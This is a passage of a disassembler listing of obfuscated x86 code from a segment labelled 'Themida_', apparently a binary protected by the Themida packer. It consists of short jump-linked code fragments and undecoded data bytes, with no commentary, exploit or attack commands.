loc_574AB0:				; CODE XREF: Themida_:00567F43j
		add	ebp, edx
		jmp	loc_56268C
; ---------------------------------------------------------------------------
		db 57h
		dd 844383BFh, 6EFC159h,	0A3E9DFF7h, 50FFFFF8h, 0F6F3B551h
		dd 2659E9D5h, 0EF81FFFFh, 7A705DB4h, 40B4EF81h,	9DE96035h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574AE3:				; CODE XREF: Themida_:0056B06Ej
		shl	eax, cl
		push	41Ah
		mov	[esp], ecx
		jmp	loc_57526F
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4, 31E7C381h, 0EB0145B7h, 31E7EB81h,	0D5E945B7h, 66FFFF5Dh
		dd 0E9240C89h, 0FFFEBC01h, 0E9242C8Bh, 0FFFF24A6h, 6824148Bh
		dd 0F3h, 89240C89h, 4B850E1h, 1000000h,	24048BC1h, 0E904C483h
		dd 0FFFF83EBh, 0B4BA5250h, 0E90AFB6Ch, 0FFFF0669h, 4908E1C1h
		dd 0FEC91FE9h, 241489FFh, 1312D468h, 0BF575A6Eh, 561B6301h
		dd 0FEE5F2E9h, 19A7BAFFh, 0FF521742h, 505A2404h, 0E308ABB8h
		dd 6C3536h, 0E8C1462Ah,	2E8C108h, 2D04A225h, 100D0557h
		dd 0C2213F03h, 6EAC158h, 516FB850h, 0DFE90B59h,	81FFFF55h
		dd 4C5h, 242C8700h, 0A73BE95Ch,	0F201FFFFh, 4C2815Eh, 0E9000000h
		dd 0FFFF7769h
; ---------------------------------------------------------------------------


loc_574BB8:				; CODE XREF: Themida_:0057494Aj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_570E99
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 1B8BE56h, 4DE9428Bh,	0BBFFFFD8h, 211073F2h, 0FFE222E9h
		dd 0C05304FFh, 0E3E904E8h
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574BE3:				; CODE XREF: Themida_:005711E5j
		pop	esp
		push	3895h
		mov	[esp], edx
		mov	edx, 1D0F623Bh
		xor	eax, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_572240
; ---------------------------------------------------------------------------
		dw 5750h
		dd 0A90D90BFh, 0A16FE91Eh, 575DFFFFh, 0F70AA2BFh, 4E7C15Ch
		dd 0FEF599E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574C25:				; CODE XREF: Themida_:005618D0j
		add	bh, 12h
		pop	ecx
		sub	bh, 1Fh
		jmp	loc_562F95
; ---------------------------------------------------------------------------


loc_574C31:				; CODE XREF: Themida_:0056DA85j
		pop	esp
		sub	esp, 4
		jmp	loc_564C4E
; ---------------------------------------------------------------------------
aXh		db 'XhÇ)',0
		align 10h
		dd 53240C89h, 0FFA5F1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574C49:				; CODE XREF: Themida_:00561722j
		push	7C2Bh
		mov	[esp], ebp
		jmp	loc_56D1E6
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFF284Ah, 0BB241C89h, 142C4BE9h, 13EFEB81h, 0DD8909DFh
		dd 6FBF575Bh, 816E0870h, 623A96EDh, 81FD0131h, 623A96C5h
		dd 0EDD15F31h, 81E18951h, 4C1h,	4E98100h, 87000000h, 895C240Ch
		dd 38B9240Ch, 0E909F278h, 0FFFED062h, 2404335Eh, 0E9240431h
		dd 0FFFF64A0h, 0E9241C8Bh, 0FFFFE036h, 662D68h,	240C8900h
		dd 0FF3144E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574CC5:				; CODE XREF: Themida_:0056342Cj
		mov	eax, 0F7A6251h
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 3951B6EAh
		add	ebp, edi
		pop	edi
		jmp	loc_56B1B8
; ---------------------------------------------------------------------------
		dd 0FEBA30E9h, 4EC81FFh, 89000000h, 0EC832404h,	4EC8304h
		dd 24048F54h, 4240481h,	0E9000000h, 0FFFF03ABh,	3AA3BB53h
		dd 0CB815C11h, 64F4D34h, 0E958C381h, 0DF09D309h, 10C7815Bh
		dd 55375073h, 0FF8FD3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574D25:				; CODE XREF: Themida_:0056D4C8j
		mov	edx, edi
		pop	edi
		add	eax, edx
		pop	edx
		sub	eax, 558716DDh
		sub	eax, ecx
		jmp	loc_56B478
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 0FFC1ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574D45:				; CODE XREF: Themida_:00563702j
		and	ebx, 63965D21h
		jmp	loc_575172
; ---------------------------------------------------------------------------
		dd 0F75D5D58h, 6DE995D8h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_574D5B:				; CODE XREF: Themida_:0056D26Ej
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	10157BC1h
		pop	eax
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		sub	eax, 11C105C9h
		jmp	loc_568C0F
; ---------------------------------------------------------------------------
		db 4, 2Bh, 0
		dd 42B2CD0h, 0D8005A11h, 8904EC83h, 5350241Ch, 0FF6248E9h
		dd 4EC81FFh, 89000000h,	9FBF243Ch, 0E9525E13h, 0FFFEF083h
		dd 98E9DE88h, 0F7FFFF45h, 2A19E9D9h, 405FFFFh, 56000000h
		dd 0C681E689h, 4, 0FFB6BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574DC9:				; CODE XREF: Themida_:00562D93j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1C8F33E7h
		xor	esi, edx
		pop	edx
		add	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_56AA1E
; ---------------------------------------------------------------------------


loc_574DEA:				; CODE XREF: Themida_:00571B4Cj
		shr	ebx, 7
		shl	ebx, 4
		shr	ebx, 1
		xor	ebx, 1E2112Ch
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	2
		jmp	loc_56BAE4
; ---------------------------------------------------------------------------
		db 0BDh
		dd 1D27017Dh, 0E902E5C1h, 0FFFFD02Dh, 0E94FBD55h, 87E9C41Fh
		dd 87FFFED4h, 248B2414h, 24248924h, 4240481h, 0E9000000h
		dd 0FFFF7F73h, 63E95253h, 68FFFFB9h, 21E8h, 0BE243489h
		dd 635A6EB9h, 35B6E94Eh, 4FBAFFFFh, 813CFA48h, 0FFFFFFC2h
		dd 1C281FFh, 55000000h,	0BE24C1BDh, 0E9EA2901h,	0FFFF0A46h
		dd 0C3815B54h, 4, 8704EB83h, 895C241Ch,	0C9B82404h, 502535Fh
		dd 52F44BDh, 0ACD40A05h, 21685577h, 89000069h, 9ABB241Ch
		dd 0E978102Fh, 0FFFFDF4Bh, 0E92424D3h, 0FFFEB869h, 5C241433h
		dd 0E9E38953h, 0FFFEF9A1h, 0FEB858E9h, 100DBAFFh, 0C14A1A1Ch
		dd 0F28108EAh, 0FFD4C9Eh, 9BBA5250h, 0B85C7C7Bh, 0AB5D58C5h
		dd 15AD001h, 0D10158C2h, 8124148Bh, 4C4h, 81E90100h, 0C124EEE9h
		dd 11E98117h, 0E918D938h, 0FFFFA7BDh, 0B4E9C201h, 50FFFFC6h
		dd 0C189F889h, 0D72AE958h, 0E789FFFFh, 4BE56h, 7AE90000h
		dd 5FFFF54h, 395D3650h,	0FED654E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_574F25:				; CODE XREF: Themida_:0056B43Dj
		mov	eax, edi
		mov	ebp, eax
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0CFE6535Eh
		sub	ecx, ebp
		pop	ebp
		mov	edi, ecx
		pop	ecx
		sub	eax, 574F3EC9h
		jmp	loc_568630
; ---------------------------------------------------------------------------


loc_574F59:				; CODE XREF: Themida_:00565F14j
		mov	edx, esp
		add	edx, 4
		jmp	loc_56E39A
; ---------------------------------------------------------------------------
		dw 0CA80h
		dd 0B3F28043h, 0FF2D9CE9h, 0F63C35FFh, 0EF682F89h, 8900006Bh
		dd 0FCBF243Ch, 810A057Fh, 0DF08F5E9h, 0E9F90139h, 0FFFFD9FDh
		dd 0A5B05058h, 0C8FEC8FEh, 0E8C09434h, 34FF0403h, 58C688C6h
		dd 0C05BFE30h, 19E904E6h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_574FAF:				; CODE XREF: Themida_:005654BCj
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	loc_56AF1B
; ---------------------------------------------------------------------------
		dd 9F5ED81h, 0C58152C4h, 2EA6205Eh, 83243C8Bh, 0EB2904C4h
		dd 0FEE6CFE9h, 0A8E581FFh, 5649E360h, 0BD6636BEh, 71C68131h
		dd 0D1652D60h, 3AC681EEh, 0D1129A30h, 0C0EE81E6h, 0E98BEC10h
		dd 0FFFED2FBh, 0CCB95156h, 0BE0F3164h, 4B06658Dh, 0C159CE29h
		dd 0BF5708E6h, 5B972CC4h, 0C15FFE29h, 0C68108EEh, 53DFEFBh
		dd 0A10BD55h, 3FE97664h, 8BFFFF2Dh, 4BE9241Ch, 29FFFFEAh
		dd 6BE950D3h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57503B:				; CODE XREF: Themida_:0056BEF5j
		push	eax
		mov	eax, 4
		jmp	loc_56FAD5
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 1A997356h, 0E94ADAF7h, 0FFFF2813h, 76BD5540h, 0E95A4626h
		dd 0FFFF041Fh, 240C8B66h, 6CA68h, 243C8900h, 0C781E789h
		dd 4, 0FF1466E9h, 324568FFh, 85E90000h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575083:				; CODE XREF: Themida_:005693DCj
		add	edx, 39563E70h
		add	edx, 1CA41763h
		sub	esp, 4
		jmp	loc_56A228
; ---------------------------------------------------------------------------
		dw 22BAh
		dd 10EBF1Ah, 241C8BDAh,	0E904C483h, 0FFFF7AEDh
; ---------------------------------------------------------------------------


loc_5750AC:				; CODE XREF: Themida_:00568568j
		xor	eax, 6CC440C5h
		and	eax, 1AB166BFh
		sub	eax, 4E8F3A61h
		jmp	loc_56263E
; ---------------------------------------------------------------------------


loc_5750C0:				; CODE XREF: Themida_:005734B7j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	72521662h
		pop	esi
		shr	esi, 6
		shr	esi, 6
		push	eax
		jmp	loc_568F53
; ---------------------------------------------------------------------------
		db 5Fh
		dd 614AD72Dh, 43252D4Dh, 0F0017F26h, 26432505h,	4AD7057Fh
		dd 815E4D61h, 4ECh, 243C8900h, 4BFh, 5FF80100h,	8904EC83h
		dd 74FF2404h, 88E90424h, 50FFFED6h, 0FEFA29E9h,	4EA81FFh
		dd 87000000h, 895C2414h, 32E92424h, 8BFFFFB1h, 0C481241Ch
		dd 4, 0F581DDF7h, 59EF0DAFh, 709FC581h,	0EB09200Bh, 81242C8Bh
		dd 4C4h, 1014E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575162:				; CODE XREF: Themida_:0056BB1Ej
		mov	edi, 4
		jmp	loc_5740A2
; ---------------------------------------------------------------------------


loc_57516C:				; CODE XREF: Themida_:00572F45j
		pop	esp
		jmp	loc_569DE6
; ---------------------------------------------------------------------------


loc_575172:				; CODE XREF: Themida_:00574D4Bj
		dec	ebx
		xor	ebx, 29981633h
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56FAF8
; ---------------------------------------------------------------------------


loc_575189:				; CODE XREF: Themida_:00563EBCj
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_564532
; ---------------------------------------------------------------------------


loc_575194:				; CODE XREF: Themida_:0056738Cj
		mov	[esp], esp
		jmp	loc_56E2BE
; ---------------------------------------------------------------------------
		dd 42474FFh, 582434FFh,	4EC81h,	4890000h, 48B5424h, 4C48124h
		dd 5000000h, 4,	0FECE4EE9h, 4EC81FFh, 89000000h, 0C388241Ch
		dd 585BD988h, 83241C8Bh, 535204C4h, 0FF6C99E9h,	24048BFFh
		dd 0FEF433E9h, 4C781FFh, 83000000h, 19E904C7h, 21FFFF43h
		dd 0EBD158C3h, 0C381DBF7h, 4B9D238Ch, 6DE9DA31h, 0BAFFFF6Ah
		dd 7DEE4748h, 4A26E281h, 0B95101C5h, 34C96A0Ah,	0C159CA01h
		dd 685504E2h, 5A46h, 0E9241489h, 0FFFFF939h, 0A8478D2Dh
		dd 0C68DE93Bh, 0F75BFFFFh, 0DBF581D5h, 1DBEBDFh, 242C8BEBh
		dd 52E18951h, 6823D5BAh, 0E9D2F714h, 0FFFF6F06h
; ---------------------------------------------------------------------------


loc_575254:				; CODE XREF: Themida_:0056FEF8j
		mov	edx, 2D21496Bh
		inc	edx
		jmp	loc_56D9FC
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FF3406E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575265:				; CODE XREF: Themida_:005616B6j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5711D9
; ---------------------------------------------------------------------------


loc_57526F:				; CODE XREF: Themida_:00574AEDj
		push	eax
		jmp	loc_5721FD
; ---------------------------------------------------------------------------


loc_575275:				; CODE XREF: Themida_:00569F05j
		mov	edi, 0
		sub	edi, ebp
		mov	ebp, edi
		pop	edi
		push	edi
		jmp	loc_56E8C0
; ---------------------------------------------------------------------------


loc_575285:				; CODE XREF: Themida_:0056FD9Ej
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56B188
; ---------------------------------------------------------------------------


loc_57529A:				; CODE XREF: Themida_:0056D49Cj
		pop	ebx
		push	110h
		mov	[esp], ebp
		push	2A1Ah
		mov	[esp], ecx
		push	eax
		mov	eax, 66E06756h
		shr	eax, 7
		sub	eax, 0E6F6A37h
		jmp	loc_57139E
; ---------------------------------------------------------------------------


loc_5752BE:				; CODE XREF: Themida_:00573D3Aj
		push	ecx
		mov	ecx, 9620B4Fh
		add	[esp+8], ecx
		pop	ecx
		jmp	loc_56E34B
; ---------------------------------------------------------------------------
		dw 0EE29h
		dd 25A5C681h, 0EE815711h, 6A802403h, 8BEE815Dh,	59369E06h
		dd 8904EC83h, 0BA52240Ch, 23A765CEh, 0FF8DBAE9h, 0EE815BFFh
		dd 50CE1746h, 348BF201h, 4A0DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575306:				; CODE XREF: Themida_:005727BDj
		dec	esi
		jmp	loc_56DF55
; ---------------------------------------------------------------------------
		dd 0C8B60F66h, 4B586866h, 240C8966h, 0FFBD4AE9h, 241C8BFFh
		dd 3E76E951h, 0C33FFFFh, 24248B24h, 4EC81h, 8F540000h
		dd 4832404h, 48F0424h, 4BE5624h, 1000000h, 5E042474h, 0B3C7E95Ah
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57534E:				; CODE XREF: Themida_:0056F5E7j
		sub	ebx, 6039190Ah
		xor	ebx, 0E11250E6h
		jmp	loc_560994
; ---------------------------------------------------------------------------
		db 89h
		dd 6AE95DE9h, 8BFFFEFEh, 0C481240Ch, 4,	35F6C781h, 0E9521B71h
		dd 0FFFF511Bh, 8E2AFBBFh, 0E9F90143h, 0FFFF503Dh, 515BDA89h
		dd 0A8733BB9h, 0F1814945h, 377C648Fh, 2A1DEA81h, 0CA0137ACh
		dd 0FFD46CE9h, 4335CFFh, 24043124h, 8B240433h, 0F7662424h
		dd 976866E9h, 14896669h, 9C506624h, 0FEB350E9h,	4C481FFh
		dd 33000000h, 2C31242Ch, 242C3324h, 6624248Bh, 9C240401h
		dd 0FEB334E9h, 0D3F743FFh, 5851BE56h, 0E6C13593h, 49E68108h
		dd 0E9321103h, 0FFFF40AAh
; ---------------------------------------------------------------------------


loc_5753F8:				; CODE XREF: Themida_:00566EE1j
		pop	ebp
		add	ebx, 1
		jmp	loc_568BD9
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0F8010000h, 42D5Fh, 4870000h, 24248B24h, 0E9241489h
		dd 0FFFEDDB9h
; ---------------------------------------------------------------------------


loc_57541C:				; CODE XREF: Themida_:0056594Bj
		pop	ecx
		mov	cl, bh
		mov	bx, [esp]
		add	esp, 2
		xor	al, cl
		mov	cx, [esp]
		add	esp, 2
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 2
		xchg	edi, [esp]
		pop	esp
		mov	[esp], cx
		push	ebx
		mov	bl, 3Eh
		shl	bl, 4
		push	ax
		jmp	loc_563198
; ---------------------------------------------------------------------------
		db 2Dh
		dd 42F706A6h, 0FFF847E9h, 241486FFh, 0FF9868E9h, 4B9FFh
		dd 0CF010000h, 0FECE8EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575471:				; CODE XREF: Themida_:00566CD3j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ebx, 35AD1561h
		jmp	loc_561D58
; ---------------------------------------------------------------------------
		db 0BEh, 78h, 7Ch
		dd 5CBA53D2h, 0E953D27Ch, 0FFFEFE40h
; ---------------------------------------------------------------------------


loc_575498:				; CODE XREF: Themida_:00569F0Cj
		push	ecx
		mov	ecx, 9641E39h
		jmp	loc_565C4C
; ---------------------------------------------------------------------------


loc_5754A3:				; CODE XREF: Themida_:00567EA1j
		add	ebp, 5B9B20D4h
		jmp	loc_5738D3
; ---------------------------------------------------------------------------
		dw 0C141h
		dd 0E98105E9h, 0DE6C00h, 328168h, 240C8900h, 0FEBE78E9h
		dd 0D46866FFh, 4896612h, 828B024h, 698FE9C2h, 1204FFFFh
		dd 4E2068h, 240C8900h, 0C82841B1h, 4E70459h, 66D828CCh
		dd 0E9CCB753h, 0FFFFE905h
; ---------------------------------------------------------------------------


loc_5754F4:				; CODE XREF: Themida_:0056D2DBj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56C5BA
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 4133575Ch, 2210E981h, 0E0E94033h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57551B:				; CODE XREF: Themida_:00575A68j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_56B627
; ---------------------------------------------------------------------------
		dw 9D04h
		dd 0C688FC34h, 76F68058h, 801ECE80h, 0C680C3F6h, 7BC68001h
		dd 4BA04h, 2CF000h, 148BBA2Ch, 4C48124h, 51000000h, 88A6B353h
		dd 241C8BDDh, 2C04C483h, 4E82862h, 81E95962h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575567:				; CODE XREF: Themida_:00569BCEj
		mov	edi, 3CA40BC7h
		sub	edx, edi
		pop	edi
		sub	edx, 4BA5DF3h
		push	eax
		push	0
		jmp	loc_56B5AD
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 4, 53DEE81h, 0FE012DA2h,	53DC681h, 835F2DA2h
		dd 0BAE904C6h
		db 0Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57559F:				; CODE XREF: Themida_:00573A8Dj
		xchg	ebp, [esp]
		pop	esp
		push	edi
		pop	ebx
		jmp	loc_57129F
; ---------------------------------------------------------------------------
		dw 0DA29h
		dd 3E51055Bh, 46E9150Bh, 0BEFFFECEh, 4EC1369Ch,	5AE95246h
		dd 33FFFEE5h, 1C31241Ch, 241C3324h, 4EC835Ch, 0E9240489h
		dd 0FFFF172Ah, 15BDA31h, 0DBDBE9D0h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5755E2:				; CODE XREF: Themida_:0056CF51j
		push	eax
		push	esp
		jmp	loc_563671
; ---------------------------------------------------------------------------
		db 0B3h, 0B4h, 0FEh
		dd 80D3F6CBh, 0F38085F3h, 1D0BE916h, 1489FFFFh,	5E28E924h
		dd 0EF81FFFFh, 23930EB7h, 0FF4A82E9h, 25BE56FFh, 0BA624146h
		dd 17E0FCC8h, 0BE5EF201h, 7A2242E9h, 77E9D631h,	1FFFFBBh
		dd 8B04244Ch, 8951240Ch, 4C181E1h, 83000000h, 0C8704C1h
		dd 70E95C24h, 0FFFFFFAAh, 815D2434h, 4C4h, 4EC8300h, 0BA241489h
		dd 2B7A10D1h, 15AD629h,	0D1C681C6h, 8B2B7A10h, 0A7E92404h
		dd 68FFFEEBh, 46B6h, 0B8240489h, 7B7C1F66h, 0F7E5A805h
		dd 58C731C3h, 3C8BFE01h, 4C48124h, 83000000h, 348702EEh
		dd 4D8E924h, 0F5010000h, 0B850535Eh, 2E023170h,	2317435h
		dd 58C3892Eh, 0E95BDD01h, 0FFFEC55Fh, 0B874C781h, 0C681FBF3h
		dd 12C1A55h, 0EE81FE01h, 12C1A55h, 0FF7187E9h, 0D5E953FFh
		dd 0B2FFFF6Dh, 2EAC035h, 8010F280h, 0CAFE99C2h,	0C280h
		dd 5BE95AD0h, 81FFFEDFh, 3C6F6DE5h, 74CD8133h, 0E979FB4Eh
		dd 0FFFF138Ch, 5DE80159h, 65E568h, 243C8900h, 0FFCE4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575709:				; CODE XREF: Themida_:005716ECj
		mov	[esp], edx
		add	dword ptr [esp], 1
		pop	edx
		sub	esp, 4
		jmp	loc_56107C
; ---------------------------------------------------------------------------
		db 0BBh
		dd 58FF7D34h, 815BDF09h, 70006CCFh, 44CF812Bh, 8108E613h
		dd 821AC0EFh, 7C51683Eh, 14890000h, 13F06824h, 52E90000h
		dd 5FFFFF97h, 0FFD672E9h, 68EBDFFh, 4E96D1Dh, 58FFFF9Fh
		dd 0E905E5C1h, 0FFFF8441h, 53243C89h, 0FEC1F0E9h, 34C681FFh
		dd 0E90DB62Bh, 0FFFF94FEh, 8124148Bh, 4C4h, 4C48100h, 21000000h
		dd 0E3C159CBh, 9EB95102h, 81428F23h, 0E020B6E9h, 0F7D9F710h
		dd 0E6F181D9h, 8168FE1Dh, 6251F6E1h, 0B31CE931h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5757AE:				; CODE XREF: Themida_:00570D7Ej
		add	esp, 4
		push	ecx
		jmp	loc_56C7BE
; ---------------------------------------------------------------------------


loc_5757BA:				; CODE XREF: Themida_:00572BA4j
		mov	[esp], edi
		mov	edi, 0E7D4206h
		jmp	loc_56B8D3
; ---------------------------------------------------------------------------


loc_5757C7:				; CODE XREF: Themida_:00573D84j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_568D10
; ---------------------------------------------------------------------------
		db 81h
		dd 0AB4652C3h, 5BDD2960h, 32EAB850h, 0D8F74931h, 40357D25h
		dd 515352Ch, 65E92440h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5757F7:				; CODE XREF: Themida_:00569B7Aj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		push	ebp
		push	ebx
		push	ebp
		mov	ebp, 7C48521Fh
		add	ebp, 0DD42F93Ah
		mov	ebx, ebp
		pop	ebp
		push	eax
		jmp	loc_564A5F
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFC147h, 0E904C483h, 0FFFF363Bh
; ---------------------------------------------------------------------------


loc_575824:				; CODE XREF: Themida_:005668F6j
		mov	[esp], eax
		jmp	loc_56E2AE
; ---------------------------------------------------------------------------


loc_57582C:				; CODE XREF: Themida_:0057351Cj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5669E9
; ---------------------------------------------------------------------------
		dd 0BE565742h, 569C14EAh, 99241BFh, 0E9F73199h,	0FFFF50B1h
		dd 3359CA01h, 14312414h, 24143324h, 66E8305Ch, 0E9240C8Bh
		dd 0FFFEF428h, 0E9E08950h, 0FFFF120Eh, 4EC81h, 34890000h
		dd 4CE95424h, 0FFFFFF3Bh, 669D1C77h, 2414D359h,	0AF06E99Ch
		dd 0C381FFFEh, 4, 0FF3751E9h, 6135BBFFh, 0EB812929h, 29296131h
		dd 1401EE81h, 0DE014AACh, 1401C681h, 0E95B4AACh, 0FFFFF431h
; ---------------------------------------------------------------------------


loc_5758B4:				; CODE XREF: Themida_:005689ABj
		push	esp
		pop	esi
		push	eax
		push	566A35FFh
		pop	eax
		neg	eax
		dec	eax
		neg	eax
		sub	eax, 20DE12F9h
		add	eax, 0CA73DCFDh
		jmp	loc_56313B
; ---------------------------------------------------------------------------


loc_5758D1:				; CODE XREF: Themida_:00568FFCj
		jmp	loc_560715
; ---------------------------------------------------------------------------


loc_5758D6:				; CODE XREF: Themida_:0056D9C2j
		mov	[esp], edi
		push	26C0h
		push	esp
		pop	dword ptr [esp]
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	edi
		push	60C2h
		jmp	loc_56A1A0
; ---------------------------------------------------------------------------
		dd 9226E951h, 0A1B9FFFFh, 0F76B7E32h, 0D1C181D9h, 0F76B6D10h
		dd 0E9D1F7D1h, 0FFFEB41Ah, 0C43B8E2Dh, 1B90057Ch, 0BB537BB4h
		dd 754E75E5h, 3878EB81h, 0E2E9492Dh, 68FFFFD6h,	7C8Dh
		dd 0BB241C89h, 7D294E2Dh, 8104EBC1h, 9C4116CBh,	8EC38174h
		dd 814D8142h, 46302E3h,	8E95630h, 66FFFF29h, 6624048Fh
		dd 0F766CA87h, 306EE9D1h, 0BB53FFFFh, 14F30714h, 7B6BF57h
		dd 0DFF70E50h, 8103E7C1h, 5FCF94F7h, 5FFB299Bh,	68h, 241C2900h
		dd 31F3815Bh, 813C2276h, 0D253A5CBh, 5FC38118h,	1C2208Ch
		dd 241C8BDEh, 8104C483h, 2C6h, 24348700h, 0C8B665Ch, 0F20BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5759B6:				; CODE XREF: Themida_:005653DFj
		mov	ecx, [esp]
		jmp	loc_569F92
; ---------------------------------------------------------------------------
		dw 6853h
		dd 182B3B67h, 83241C8Bh, 746804C4h, 89000041h, 48B9240Ch
		dd 526DB909h, 0D02223BAh, 8EAC11Dh, 0FC4FF281h,	99E92887h
		dd 0FFFFFF22h, 835A2434h, 0BF5704C4h, 6CBE738Bh, 1559EF81h
		dd 0E94F5B99h, 0FFFFCFFAh, 0E9240487h, 0FFFF3363h, 0B20AE1BAh
		dd 0A6F2813Ch, 0E9321946h, 0FFFFBF97h, 8B243C87h, 0BBE92424h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575A27:				; CODE XREF: Themida_:0056F8B4j
		mov	[esp], edx
		mov	edx, 4B1C7B86h
		sub	eax, edx
		jmp	loc_570A9B
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4D67E9E6h, 0EE81FFFFh, 894E6370h, 335EF101h,	0C31240Ch
		dd 240C3324h, 0E924248Bh, 0FFFFD572h, 0C099B551h, 45E904EDh
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_575A63:				; CODE XREF: Themida_:0056AA23j
		add	eax, 4
		jmp	loc_57551B
; ---------------------------------------------------------------------------
		db 64h,	0FFh, 32h
		dd 0FEACA0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_575A75:				; CODE XREF: Themida_:00569380j
		xor	ecx, [esp]
		xor	[esp], ecx
		xchg	edx, ecx
		xchg	ebx, edx
		jmp	loc_566BC9
; ---------------------------------------------------------------------------


loc_575A84:				; CODE XREF: Themida_:00569698j
		push	ebp
		mov	ebp, 7AA14580h
		xor	ebp, 7890162Ah
		neg	ebp
		not	ebp
		shr	ebp, 8
		jmp	loc_56B3DC
; ---------------------------------------------------------------------------
		dd 17F2B951h, 0CF014DF9h, 63EF8159h, 29993398h,	0BFE7E9F8h
		dd 0C480FFFEh, 0E9E530C2h, 0FFFFA455h, 51243489h, 6DFE68h
		dd 242C8900h, 81738668h, 0D4DE959h, 0C681FFFFh,	89C09ADh
		dd 58F5EE81h, 0B9E93B34h, 81FFFEDFh, 175BB7EBh,	0EFC9E97Eh
		dd 0C581FFFFh, 0AFB06CF9h, 0F3E9EB01h, 68FFFF42h, 3D2Eh
		dd 0FFB7BBE9h, 0A7BE56FFh, 0E96A3943h, 0FFFFEF0Eh
; ---------------------------------------------------------------------------


loc_575B10:				; CODE XREF: Themida_:00563AF4j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esi, 90F7AD63h
		add	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_572670
; ---------------------------------------------------------------------------
		dw 875Fh
		dd 665C241Ch, 0E9240489h, 0FFFEABD1h, 0F339F135h, 0FFFF0500h
		dd 0D8F7FFFFh, 0FF3E91E9h, 0B6ED80FFh, 0E8009204h, 26E9922Ch
		dd 81FFFFCCh, 0E73A59C7h, 0D1DDE947h, 665CFFFFh, 66241489h
		dd 9AE99C50h, 5BFFFEABh, 44B45066h, 86EA80h, 576866E2h
		dd 4896639h, 4EC8324h, 0FF6D94E9h, 0E941B0FFh, 0FFFEF9EFh
		dd 0E9243C87h, 0FFFEAD80h, 81E68956h, 4C6h, 4EE8100h, 0E9000000h
		dd 0FFFF969Ch, 0FA30E6BFh, 5EF7314Eh, 0FF3F63E9h
		db 0FFh
; ---------------------------------------------------------------------------


